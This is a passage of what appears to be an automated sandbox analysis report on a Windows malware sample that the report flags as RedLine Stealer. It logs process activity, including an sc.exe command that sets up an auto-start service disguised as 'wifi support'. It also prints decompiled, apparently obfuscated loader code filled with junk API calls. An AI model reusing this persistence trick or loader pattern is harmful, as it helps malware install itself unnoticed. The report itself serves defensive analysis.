Analysis Process: conhost.exe PID: 5104 Parent PID: 2532

General

Start time:	01:51:11
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 3424 Parent PID: 5332

General

Start time:	01:51:13
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\exmrkmjs.exe" C:\Windows\SysWOW64\rdxbevsp\
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5028 Parent PID: 3424

General

Start time:	01:51:14
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: MpCmdRun.exe PID: 4404 Parent PID: 2804

General

Start time:	01:51:14
Start date:	14/01/2022
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff6b06c0000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 8DFC.exe PID: 5868 Parent PID: 856

General

Start time:	01:51:14
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\8DFC.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8DFC.exe
Imagebase:	0xf40000
File size:	537088 bytes
MD5 hash:	D7DF01D8158BFADDC8BA48390E52F355
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.434050190.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.433322362.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.432692985.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.434564160.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: conhost.exe PID: 4060 Parent PID: 4404

General

Start time:	01:51:14
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 6528 Parent PID: 5332

General

Start time:	01:51:18
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\sc.exe" create rdxbevsp binPath= "C:\Windows\SysWOW64\rdxbevsp\exmrkmjs.exe /d\"C:\Users\user\AppData\Local\Temp\85ED.exe\"" type= own start= auto DisplayName= "wifi support
Imagebase:	0x3f0000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5340 Parent PID: 6528

General

Start time:	01:51:19
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: JV4ILFxpDY.exe PID: 7012 Parent PID: 5976 JV4ILFxpDY.exeCOMMON

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	8.2%
Signature Coverage:	16.1%
Total number of Nodes:	353
Total number of Limit Nodes:	26

Executed Functions

Function 00419F7F, Relevance: 257.8, APIs: 115, Strings: 32, Instructions: 523
timefilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00419F7F(void* __fp0) {
				void* __edi;
				intOrPtr _t54;
				CHAR* _t56;
				intOrPtr _t90;
				void* _t197;
				void* _t199;
				void* _t200;
				void* _t201;
				void* _t204;
				void* _t205;
				void* _t206;
				void* _t210;
				void* _t212;
				intOrPtr _t234;
				void* _t235;

				E0041AB60(0x24f8);
				if( *0x55abe4 == 0x177) {
					E0041B590(0, 0, 0);
					E0041B1C0(_t199, 0, 0);
					E0041B170(_t199, 0, 0);
					E0041B0F0(0);
					E0041AF00("0.0");
					st0 = __fp0;
					E0041AC80(_t199, 0);
					E0041AC50(_t199, 0, 0);
					E0041ABD0(_t199, 0);
					_t56 = E0041ABB0(0);
					_t212 = _t212 + 0x38;
				}
				_t200 = 0;
				L3:
				L3:
				if( *0x55abe4 == 0x47) {
					GetBinaryTypeA("hijaduvinijebup", _t212 + 0xc);
					SetCurrentDirectoryA("lakusoruhajunajiziheruxazoluyoloxujumazomeke");
					Process32NextW(0, 0);
					InitializeCriticalSection(0);
					QueryDosDeviceW(0, _t212 + 0xd08, 0);
					__imp__TerminateJobObject(0,  *(_t212 + 0xc));
					GlobalAddAtomW(L"Vozecitak mov");
					DeleteAtom(0);
					WriteProfileStringA("tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv", "wapejan", "mocisacatenu");
					GetFullPathNameA("Felerah cuhozazikesuzil", 0, _t212 + 0x108, 0);
					__imp__FindNextVolumeMountPointW(0, _t212 + 0x1508, 0);
					GetCompressedFileSizeA("wovag", _t212 + 0x18);
					GetNamedPipeInfo(0, 0, 0, 0, 0);
					lstrcpynA(_t212 + 0x50c, "Losufic vahafoj sovoculoziyaja dewofic", 0);
					GetProcessVersion(0);
					__imp__GetConsoleAliasesLengthW(0);
					__imp__UnregisterWait(0);
					__imp__GetProcessHandleCount(0, 0);
					CancelWaitableTimer(0);
					SetFileApisToANSI();
					CreateIoCompletionPort(0, 0, 0, 0);
					FindClose(0);
					SetEndOfFile(0);
					GetCommMask(0, 0);
					LocalLock(0);
					_t56 = OpenMutexW(0, 0, L"Wuhesuvugocu regacavac");
				}
				if(_t200 == 0x69d) {
					goto L8;
				}
				_t200 = _t200 + 1;
				if(_t200 < 0x1133661) {
					goto L3;
				} else {
				}
				L9:
				_t201 = 0;
				do {
					if(_t201 < 0x4cd) {
						GetLastError();
					}
					if( *0x55abe4 == 0x6b) {
						_t56 = HeapFree(0, 0, 0);
					}
					_t201 = _t201 + 1;
					 *0x5547d0 = 0;
				} while (_t201 < 0x1763459b);
				_t197 = 0;
				do {
					if(_t197 == 0x40d) {
						 *0x55abe4 =  *0x55abe4 + 0x12336;
					}
					if( *0x55abe4 == 0x44d) {
						 *(_t212 + 0xc) = 0;
						asm("stosw");
						WriteConsoleOutputCharacterA(0, "tifikekacejininomizewidixazodafetisutaxewuy", 0,  *(_t212 + 0x10), _t212 + 0x18);
						GetModuleHandleW(L"Xemov yoxociy pogi");
						GetNumberOfConsoleInputEvents(0, 0);
						FreeEnvironmentStringsA(0);
						GetWriteWatch(0, 0, 0, 0, 0, 0);
						__imp__GetConsoleAliasExesLengthW();
						_lopen(0, 0);
						FileTimeToLocalFileTime(_t212 + 0x3c, _t212 + 0x30);
						SetCommState(0, 0);
						EnumDateFormatsA(0, 0, 0);
						 *(_t212 + 0x1c) = 0;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						TransactNamedPipe(0, 0, 0, _t212 + 0x510, 0, _t212 + 0x14, _t212 + 0x1c);
						WriteConsoleInputW(0, 0, 0, _t212 + 0x14);
						__imp__GetConsoleAliasExesLengthA();
						GetAtomNameW(0, _t212 + 0xd08, 0);
						FreeConsole();
						FlushConsoleInputBuffer(0);
						__imp__GetConsoleAliasA(0, _t212 + 0x10c, 0, 0);
						SetConsoleCP(0);
						__imp__VerSetConditionMask(0, 0, 0, 0);
						LockFile(0, 0, 0, 0, 0);
						SetSystemTime(0);
						__imp__SetThreadExecutionState(0);
						VerLanguageNameW(0, _t212 + 0x1d08, 0);
						_t56 = lstrcpyA(_t212 + 0x1508, "Hetitanutaf bebucoreko");
						__imp__SetFileShortNameW(0, 0);
					}
					_t197 = _t197 + 1;
				} while (_t197 < 0x486263);
				E00419D16(_t56);
				_t204 = GetOverlappedResult;
				_t210 = 0;
				do {
					if( *0x55abe4 == 0xfd) {
						FreeEnvironmentStringsW(0);
					}
					if(_t210 == 0x3c58) {
						_t90 =  *0x440008; // 0x3f6fda
						 *0x55abe8 = _t90;
					}
					if( *0x55abe4 == 0x23) {
						CreateSemaphoreA(0, 0, 0, "tivomifuzasesufaholivikasekalene");
						GetLocalTime(0);
						EnumTimeFormatsW(0, 0, 0);
						FindResourceExW(0, L"helecebekuxesiwiwifomipuwudokatupibej", L"pahubahiwucijucemipapujivojadij", 0);
						GetPrivateProfileSectionNamesW(_t212 + 0x1d10, 0, 0);
						GetOverlappedResult(0, 0, 0, 0);
						WaitNamedPipeA(0, 0);
						TransmitCommChar(0, 0);
						CreateSemaphoreW(0, 0, 0, 0);
						GetBinaryTypeW(L"Dovi muyafohonifu zapojubocuwuh vuleh", _t212 + 0x18);
						PeekConsoleInputA(0, _t212 + 0x28, 0, _t212 + 0x14);
						BuildCommDCBA("Varihokegal vecu sahavujuv nemociyanuha lotom", _t212 + 0x44);
						__imp__UnregisterWaitEx(0, 0);
						GlobalLock(0);
						GetOverlappedResult(0, 0, 0, 0);
						GetProcAddress(0, 0);
						MoveFileExW(0, 0, 0);
						GetThreadContext(0, _t212 + 0x108);
						ResetEvent(_t212 + 0xb0);
						__imp__FindActCtxSectionStringA(0, 0, 0, "Cat tafugozeyab jumulizodunef sazu buxonisiz", _t212 + 0xc8);
						 *((intOrPtr*)(_t212 + 0x70)) = 0;
						E0041B5B0(_t204, _t212 + 0x6c, 0, 0x30);
						_t212 = _t212 + 0xc;
						SetDefaultCommConfigW(0, _t212 + 0x68, 0);
						lstrcmpW(0, 0);
						HeapUnlock(0);
						GetConsoleMode(0, 0);
						__imp__GetVolumePathNameA("Piruvora", _t212 + 0x150c, 0);
						MoveFileW(0, 0);
						Process32NextW(0, 0);
						GetFileAttributesExA("gukafipa", 0, _t212 + 0x508);
						GetDriveTypeA(0);
						TryEnterCriticalSection(_t212 + 0x98);
						GetPrivateProfileStructW(L"diponusohivasohopo", L"mawecamaxe", _t212 + 0xd10, 0, L"rixawibonagomukirak");
						WritePrivateProfileSectionA(0, 0, 0);
						GetPrivateProfileSectionW(0, 0, 0, 0);
						GetSystemTimeAdjustment(0, 0, 0);
					}
					_t210 = _t210 + 1;
				} while (_t210 < 0xe6a95);
				_t205 = 0;
				_t234 =  *0x55abe4; // 0xf688
				if(_t234 > 0) {
					do {
						E00419AE1(_t205);
						_t205 = _t205 + 1;
						_t235 = _t205 -  *0x55abe4; // 0xf688
					} while (_t235 < 0);
				}
				_t206 = 0;
				do {
					if(_t206 == 0x26) {
						E00419C2E();
					}
					_t206 = _t206 + 1;
				} while (_t206 < 0x3dc4b7);
				E00419D2A(); // executed
				if( *0x55abe4 == 0x1d) {
					WriteConsoleW(0, 0, 0, _t212 + 0x18, 0);
					EndUpdateResourceW(0, 0);
					__imp__FindVolumeMountPointClose(0);
					DefineDosDeviceW(0, 0, 0);
					InterlockedExchange(_t212 + 0x14, 0);
					SetMailslotInfo(0, 0);
					GetTapeParameters(0, 0, _t212 + 0x1c, _t212 + 0xd04);
					__imp__CreateActCtxW(_t212 + 0x40);
					FindCloseChangeNotification(0);
					GlobalFindAtomA("Hiwejanoji");
					TerminateProcess(0, 0);
					__imp__GetSystemWindowsDirectoryW(_t212 + 0x1d08, 0);
					GetVersion();
					SetConsoleMode(_t212 + 0x10, 0);
					 *(_t212 + 0x1c) = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					WriteFile(0, _t212 + 0x1510, 0, _t212 + 0x34, _t212 + 0x1c);
					lstrcmpA("Vaguxabufereg godid vefas nehesuh", "Pusazide");
					GetPrivateProfileSectionW(L"bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi", _t212 + 0x50c, 0, L"suxehecumugilodagaduvixevexirificiseracipefi");
					DebugBreak();
					__imp__DeleteVolumeMountPointA("hukujid");
				}
				return 0;
				L8:
				_t54 =  *0x440160; // 0xffffd352
				 *0x55abe4 = _t54;
				goto L9;
			}

0x00419f84
0x00419f98
0x00419f9d
0x00419fa4
0x00419fab
0x00419fb1
0x00419fbb
0x00419fc0
0x00419fc3
0x00419fca
0x00419fd0
0x00419fd6
0x00419fdb
0x00419fdb
0x00419fde
0x00000000
0x00419fe0
0x00419fe7
0x00419ff7
0x0041a002
0x0041a00a
0x0041a010
0x0041a020
0x0041a02b
0x0041a036
0x0041a03d
0x0041a052
0x0041a067
0x0041a077
0x0041a087
0x0041a092
0x0041a0a6
0x0041a0ad
0x0041a0b4
0x0041a0bb
0x0041a0c3
0x0041a0ca
0x0041a0d0
0x0041a0da
0x0041a0e1
0x0041a0e8
0x0041a0f0
0x0041a0f7
0x0041a104
0x0041a104
0x0041a110
0x00000000
0x00000000
0x0041a112
0x0041a119
0x00000000
0x00000000
0x0041a11f
0x0041a12b
0x0041a12b
0x0041a12d
0x0041a133
0x0041a135
0x0041a135
0x0041a142
0x0041a147
0x0041a147
0x0041a14d
0x0041a154
0x0041a154
0x0041a15c
0x0041a15e
0x0041a164
0x0041a166
0x0041a166
0x0041a17a
0x0041a182
0x0041a18b
0x0041a19d
0x0041a1a8
0x0041a1b0
0x0041a1b7
0x0041a1c3
0x0041a1c9
0x0041a1d1
0x0041a1e1
0x0041a1e9
0x0041a1f2
0x0041a1fa
0x0041a202
0x0041a203
0x0041a204
0x0041a205
0x0041a21c
0x0041a22a
0x0041a230
0x0041a240
0x0041a246
0x0041a24d
0x0041a25e
0x0041a265
0x0041a26f
0x0041a27a
0x0041a281
0x0041a288
0x0041a298
0x0041a2aa
0x0041a2b2
0x0041a2b2
0x0041a2b8
0x0041a2b9
0x0041a2c6
0x0041a2cb
0x0041a2d7
0x0041a2d9
0x0041a2e3
0x0041a2e6
0x0041a2e6
0x0041a2f2
0x0041a2f4
0x0041a2f9
0x0041a2f9
0x0041a305
0x0041a313
0x0041a31a
0x0041a323
0x0041a335
0x0041a345
0x0041a34f
0x0041a353
0x0041a35b
0x0041a365
0x0041a375
0x0041a387
0x0041a397
0x0041a39f
0x0041a3a6
0x0041a3b0
0x0041a3b4
0x0041a3bd
0x0041a3cc
0x0041a3da
0x0041a3f0
0x0041a3fe
0x0041a402
0x0041a407
0x0041a411
0x0041a419
0x0041a420
0x0041a428
0x0041a43c
0x0041a444
0x0041a44c
0x0041a45f
0x0041a466
0x0041a474
0x0041a492
0x0041a49b
0x0041a4a5
0x0041a4aa
0x0041a4aa
0x0041a4b0
0x0041a4b1
0x0041a4bd
0x0041a4c0
0x0041a4c6
0x0041a4c8
0x0041a4c9
0x0041a4ce
0x0041a4cf
0x0041a4cf
0x0041a4c8
0x0041a4d7
0x0041a4d9
0x0041a4dc
0x0041a4de
0x0041a4de
0x0041a4e3
0x0041a4e4
0x0041a4ec
0x0041a4f8
0x0041a507
0x0041a50f
0x0041a516
0x0041a51f
0x0041a52b
0x0041a533
0x0041a548
0x0041a553
0x0041a55a
0x0041a565
0x0041a56d
0x0041a57c
0x0041a582
0x0041a58e
0x0041a596
0x0041a59e
0x0041a59f
0x0041a5a0
0x0041a5a1
0x0041a5b6
0x0041a5c6
0x0041a5df
0x0041a5e1
0x0041a5ec
0x0041a5ec
0x0041a5fd
0x0041a121
0x0041a121
0x0041a126
0x00000000

APIs

__vswprintf.LIBCMTD ref: 00419F9D

Part of subcall function 0041B590: __vsprintf_l.LIBCMTD ref: 0041B5A3

_putc.LIBCMTD ref: 00419FA4

Part of subcall function 0041B1C0: __invalid_parameter.LIBCMTD ref: 0041B24D

__wrename.LIBCMTD ref: 00419FAB

Part of subcall function 0041B170: MoveFileA.KERNEL32 ref: 0041B17E
Part of subcall function 0041B170: GetLastError.KERNEL32 ref: 0041B188
Part of subcall function 0041B170: __dosmaperr.LIBCMTD ref: 0041B1A4

_atexit.LIBCMTD ref: 00419FB1

Part of subcall function 0041AF00: __atof_l.LIBCMTD ref: 0041AF0B

_malloc.LIBCMTD ref: 00419FC3
_realloc.LIBCMTD ref: 00419FCA

Part of subcall function 0041AC50: __realloc_dbg.LIBCMTD ref: 0041AC64

_ferror.LIBCMTD ref: 00419FD0

Part of subcall function 0041ABD0: __invalid_parameter.LIBCMTD ref: 0041AC2A

Part of subcall function 0041ABB0: __wcstoi64.LIBCMTD ref: 0041ABBD

GetBinaryTypeA.KERNEL32(hijaduvinijebup,?), ref: 00419FF7
SetCurrentDirectoryA.KERNEL32(lakusoruhajunajiziheruxazoluyoloxujumazomeke), ref: 0041A002
Process32NextW.KERNEL32(00000000,00000000), ref: 0041A00A
InitializeCriticalSection.KERNEL32(00000000,00000000,00000000), ref: 0041A010
QueryDosDeviceW.KERNEL32(00000000,?,00000000), ref: 0041A020
TerminateJobObject.KERNEL32 ref: 0041A02B
GlobalAddAtomW.KERNEL32 ref: 0041A036
DeleteAtom.KERNEL32(00000000), ref: 0041A03D
WriteProfileStringA.KERNEL32(tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv,wapejan,mocisacatenu), ref: 0041A052
GetFullPathNameA.KERNEL32(Felerah cuhozazikesuzil,00000000,?,00000000), ref: 0041A067
FindNextVolumeMountPointW.KERNEL32 ref: 0041A077
GetCompressedFileSizeA.KERNEL32(wovag,?), ref: 0041A087
GetNamedPipeInfo.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041A092
lstrcpynA.KERNEL32(?,Losufic vahafoj sovoculoziyaja dewofic,00000000), ref: 0041A0A6
GetProcessVersion.KERNEL32(00000000), ref: 0041A0AD
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 0041A0B4
UnregisterWait.KERNEL32(00000000), ref: 0041A0BB
GetProcessHandleCount.KERNEL32(00000000,00000000), ref: 0041A0C3
CancelWaitableTimer.KERNEL32(00000000), ref: 0041A0CA
SetFileApisToANSI.KERNEL32 ref: 0041A0D0
CreateIoCompletionPort.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A0DA
FindClose.KERNEL32(00000000), ref: 0041A0E1
SetEndOfFile.KERNEL32(00000000), ref: 0041A0E8
GetCommMask.KERNEL32(00000000,00000000), ref: 0041A0F0
LocalLock.KERNEL32(00000000), ref: 0041A0F7
OpenMutexW.KERNEL32(00000000,00000000,Wuhesuvugocu regacavac), ref: 0041A104
GetLastError.KERNEL32 ref: 0041A135
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0041A147
WriteConsoleOutputCharacterA.KERNEL32(00000000,tifikekacejininomizewidixazodafetisutaxewuy,00000000,?,?), ref: 0041A19D
GetModuleHandleW.KERNEL32(Xemov yoxociy pogi), ref: 0041A1A8
GetNumberOfConsoleInputEvents.KERNEL32(00000000,00000000), ref: 0041A1B0
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041A1B7
GetWriteWatch.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041A1C3
GetConsoleAliasExesLengthW.KERNEL32 ref: 0041A1C9
_lopen.KERNEL32(00000000,00000000), ref: 0041A1D1
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0041A1E1
SetCommState.KERNEL32(00000000,00000000), ref: 0041A1E9
EnumDateFormatsA.KERNEL32(00000000,00000000,00000000), ref: 0041A1F2
TransactNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000,?,?), ref: 0041A21C
WriteConsoleInputW.KERNEL32(00000000,00000000,00000000,?), ref: 0041A22A
GetConsoleAliasExesLengthA.KERNEL32 ref: 0041A230
GetAtomNameW.KERNEL32(00000000,?,00000000), ref: 0041A240
FreeConsole.KERNEL32 ref: 0041A246
FlushConsoleInputBuffer.KERNEL32(00000000), ref: 0041A24D
GetConsoleAliasA.KERNEL32(00000000,?,00000000,00000000), ref: 0041A25E
SetConsoleCP.KERNEL32(00000000), ref: 0041A265
VerSetConditionMask.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A26F
LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041A27A
SetSystemTime.KERNEL32(00000000), ref: 0041A281
SetThreadExecutionState.KERNEL32 ref: 0041A288
VerLanguageNameW.KERNEL32(00000000,?,00000000), ref: 0041A298
lstrcpyA.KERNEL32(?,Hetitanutaf bebucoreko,00000000,?,00000000), ref: 0041A2AA
SetFileShortNameW.KERNEL32(00000000,00000000), ref: 0041A2B2
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041A2E6
CreateSemaphoreA.KERNEL32 ref: 0041A313
GetLocalTime.KERNEL32(00000000), ref: 0041A31A
EnumTimeFormatsW.KERNEL32(00000000,00000000,00000000), ref: 0041A323
FindResourceExW.KERNEL32(00000000,helecebekuxesiwiwifomipuwudokatupibej,pahubahiwucijucemipapujivojadij,00000000), ref: 0041A335
GetPrivateProfileSectionNamesW.KERNEL32 ref: 0041A345
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A34F
WaitNamedPipeA.KERNEL32 ref: 0041A353
TransmitCommChar.KERNEL32(00000000,00000000), ref: 0041A35B
CreateSemaphoreW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A365
GetBinaryTypeW.KERNEL32(Dovi muyafohonifu zapojubocuwuh vuleh,?), ref: 0041A375
PeekConsoleInputA.KERNEL32(00000000,?,00000000,?), ref: 0041A387
BuildCommDCBA.KERNEL32 ref: 0041A397
UnregisterWaitEx.KERNEL32(00000000,00000000), ref: 0041A39F
GlobalLock.KERNEL32 ref: 0041A3A6
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A3B0
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041A3B4
MoveFileExW.KERNEL32(00000000,00000000,00000000), ref: 0041A3BD
GetThreadContext.KERNEL32(00000000,?), ref: 0041A3CC
ResetEvent.KERNEL32(?), ref: 0041A3DA
FindActCtxSectionStringA.KERNEL32(00000000,00000000,00000000,Cat tafugozeyab jumulizodunef sazu buxonisiz,?), ref: 0041A3F0
_memset.LIBCMT ref: 0041A402
SetDefaultCommConfigW.KERNEL32(00000000,?,00000000), ref: 0041A411
lstrcmpW.KERNEL32(00000000,00000000), ref: 0041A419
HeapUnlock.KERNEL32(00000000), ref: 0041A420
GetConsoleMode.KERNEL32(00000000,00000000), ref: 0041A428
GetVolumePathNameA.KERNEL32 ref: 0041A43C
MoveFileW.KERNEL32(00000000,00000000), ref: 0041A444
Process32NextW.KERNEL32(00000000,00000000), ref: 0041A44C
GetFileAttributesExA.KERNEL32(gukafipa,00000000,?), ref: 0041A45F
GetDriveTypeA.KERNEL32(00000000), ref: 0041A466
TryEnterCriticalSection.KERNEL32(?), ref: 0041A474
GetPrivateProfileStructW.KERNEL32 ref: 0041A492
WritePrivateProfileSectionA.KERNEL32(00000000,00000000,00000000), ref: 0041A49B
GetPrivateProfileSectionW.KERNEL32 ref: 0041A4A5
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 0041A4AA
WriteConsoleW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041A507
EndUpdateResourceW.KERNEL32(00000000,00000000), ref: 0041A50F
FindVolumeMountPointClose.KERNEL32(00000000), ref: 0041A516
DefineDosDeviceW.KERNEL32(00000000,00000000,00000000), ref: 0041A51F
InterlockedExchange.KERNEL32(?,00000000), ref: 0041A52B
SetMailslotInfo.KERNEL32(00000000,00000000), ref: 0041A533
GetTapeParameters.KERNEL32 ref: 0041A548
CreateActCtxW.KERNEL32(?), ref: 0041A553
FindCloseChangeNotification.KERNEL32(00000000), ref: 0041A55A
GlobalFindAtomA.KERNEL32(Hiwejanoji), ref: 0041A565
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041A56D
GetSystemWindowsDirectoryW.KERNEL32 ref: 0041A57C
GetVersion.KERNEL32 ref: 0041A582
SetConsoleMode.KERNEL32(?,00000000), ref: 0041A58E
WriteFile.KERNEL32(00000000,?,00000000,?,?), ref: 0041A5B6
lstrcmpA.KERNEL32(Vaguxabufereg godid vefas nehesuh,Pusazide), ref: 0041A5C6
GetPrivateProfileSectionW.KERNEL32 ref: 0041A5DF
DebugBreak.KERNEL32 ref: 0041A5E1
DeleteVolumeMountPointA.KERNEL32 ref: 0041A5EC

Strings

Pusazide, xrefs: 0041A5BC
suxehecumugilodagaduvixevexirificiseracipefi, xrefs: 0041A5CC
Hiwejanoji, xrefs: 0041A560
Xemov yoxociy pogi, xrefs: 0041A1A3
Dovi muyafohonifu zapojubocuwuh vuleh, xrefs: 0041A370
wovag, xrefs: 0041A082
lakusoruhajunajiziheruxazoluyoloxujumazomeke, xrefs: 00419FFD
tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv, xrefs: 0041A04D
diponusohivasohopo, xrefs: 0041A48D
tivomifuzasesufaholivikasekalene, xrefs: 0041A30B
Cat tafugozeyab jumulizodunef sazu buxonisiz, xrefs: 0041A3E8
Piruvora, xrefs: 0041A437
hijaduvinijebup, xrefs: 00419FF2
wapejan, xrefs: 0041A048
Hetitanutaf bebucoreko, xrefs: 0041A29D
mocisacatenu, xrefs: 0041A043
helecebekuxesiwiwifomipuwudokatupibej, xrefs: 0041A32F
gukafipa, xrefs: 0041A45A
Vaguxabufereg godid vefas nehesuh, xrefs: 0041A5C1
tifikekacejininomizewidixazodafetisutaxewuy, xrefs: 0041A197
Felerah cuhozazikesuzil, xrefs: 0041A062
rixawibonagomukirak, xrefs: 0041A47A
Wuhesuvugocu regacavac, xrefs: 0041A0FD
mawecamaxe, xrefs: 0041A488
Varihokegal vecu sahavujuv nemociyanuha lotom, xrefs: 0041A392
hukujid, xrefs: 0041A5E7
0.0, xrefs: 00419FB6
pahubahiwucijucemipapujivojadij, xrefs: 0041A32A
cbH, xrefs: 0041A2B9
Losufic vahafoj sovoculoziyaja dewofic, xrefs: 0041A099
bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi, xrefs: 0041A5DA
Vozecitak mov, xrefs: 0041A031

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: Console$File$FindSectionWrite$ProfileTime$CommNamePrivate$AtomCreateFreeInputVolume$AliasCloseGlobalLengthLocalLockMountMoveNamedNextPipePointProcessSystemTypeWait$BinaryCriticalDeleteDeviceDirectoryEnumEnvironmentErrorExesFormatsHandleHeapInfoLastMaskModeOverlappedPathProcess32ResourceResultSemaphoreStateStringStringsTerminateThreadUnregisterVersion__invalid_parameterlstrcmp$AddressAdjustmentAliasesApisAttributesBreakBufferBuildCancelChangeCharCharacterCompletionCompressedConditionConfigContextCountCurrentDateDebugDefaultDefineDriveEnterEventEventsExchangeExecutionFlushFullInitializeInterlockedLanguageMailslotModuleMutexNamesNotificationNumberObjectOpenOutputParametersPeekPortProcQueryResetShortSizeStructTapeTimerTransactTransmitUnlockUpdateWaitableWatchWindows__atof_l__dosmaperr__realloc_dbg__vsprintf_l__vswprintf__wcstoi64__wrename_atexit_ferror_lopen_malloc_memset_putc_realloclstrcpylstrcpyn
